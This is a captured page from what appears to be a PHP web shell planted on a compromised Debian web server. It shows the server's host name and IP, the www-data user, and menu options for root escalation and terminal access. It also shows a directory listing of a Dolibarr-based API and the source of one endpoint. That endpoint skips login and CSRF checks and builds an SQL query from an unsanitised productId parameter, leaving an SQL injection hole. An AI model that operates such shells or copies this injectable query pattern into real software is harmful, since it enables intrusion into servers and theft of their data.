Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
webedi.bdcloud.fr /
api /
ryimg /
Delete
Unzip
Name
Size
Permission
Date
Action
.git
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
images
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
download.php
2.42
KB
-rw-r--r--
2022-09-29 07:50
index.php
128
B
-rw-r--r--
2022-09-29 07:50
pr.php
1.19
KB
-rw-r--r--
2022-09-29 07:50
product.php
2.09
KB
-rw-r--r--
2022-09-29 07:50
product_OLD.php
2.4
KB
-rw-r--r--
2022-09-29 07:50
product_customer_price.php
1
KB
-rw-r--r--
2022-09-29 07:50
product_virtual.php
3.72
KB
-rw-r--r--
2022-09-29 07:50
product_visibility.php
3.07
KB
-rw-r--r--
2022-09-29 07:50
Save
Rename
<?php //########################################################################################## //######### Version 1.0 #################################################################### //########################################################################################## if (! defined('NOCSRFCHECK')) define('NOCSRFCHECK','1'); // Do not check anti CSRF attack test if (! defined('NOTOKENRENEWAL')) define('NOTOKENRENEWAL','1'); // Do not check anti POST attack test if (! defined('NOREQUIREMENU')) define('NOREQUIREMENU','1'); // If there is no need to load and show top and left menu if (! defined('NOREQUIREHTML')) define('NOREQUIREHTML','1'); // If we don't need to load the html.form.class.php if (! defined('NOREQUIREAJAX')) define('NOREQUIREAJAX','1'); // Do not load ajax.lib.php library if (! defined("NOLOGIN")) define("NOLOGIN",'1'); // If this page is public (can be called outside logged session) require('../../main.inc.php'); //connected. //afra $DATABASE_NAME = "bdc_doli286"; $TABLE_NAME = "llx_product_extrafields"; $COLUMN_NAME = "show_product"; if(isset($_GET)){ $idProduct = null; if(isset($_GET['productId'])) { $idProduct = $_GET['productId']; //echo $idProduct; //return; } // no module_part if($idProduct == null) { echo 'no_product'; return; } try { //check if the table and the column exist if(check($db)){ echo ''.findProductVisibility($idProduct, $db); return; }else{ echo '-1'; return; } } catch(Exception $err) { echo($err->getMessage()); } } function check($db){ try { $query = "Select IF((EXISTS(SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = '".$DATABASE_NAME."' AND TABLE_NAME = '".$TABLE_NAME."' AND COLUMN_NAME = '".$COLUMN_NAME."')), 1,0) as results"; $res = $db->query($query); return true; } catch(Exception $err) { //echo "The table '$TABLE_NAME' or column '$COLUMN_NAME' does not exist !"; return false; } } function findProductVisibility($id, $db) { try { /*$query = "select * from llx_product_extrafields as pex, llx_product as p where p.rowid = pex.fk_object AND p.rowid = ".$id.""; $res = $db->query($query); while($productVisibility = $db->fetch_array($res)) { //print("<pre>".print_r($productVisibility,true)."</pre>"); return $productVisibility['show_product']; //retour 1 ou 0. } */ // this query allows us to check if the product is unit or package. $sql = "SELECT * FROM llx_product as p, llx_product_extrafields as pex, llx_product_association as pa WHERE p.rowid=pex.fk_object AND p.rowid=pa.fk_product_fils AND pa.fk_product_pere IN ('".$id."') "; $res = $db->query($sql); $fnd = $db->num_rows($res); if($fnd==0) // no line returned. { return "1"; // unite : show on the application isales. } else { return "0"; // colis : don't show on the application isales. } } catch(Exception $err) { echo($err->getMessage()); } }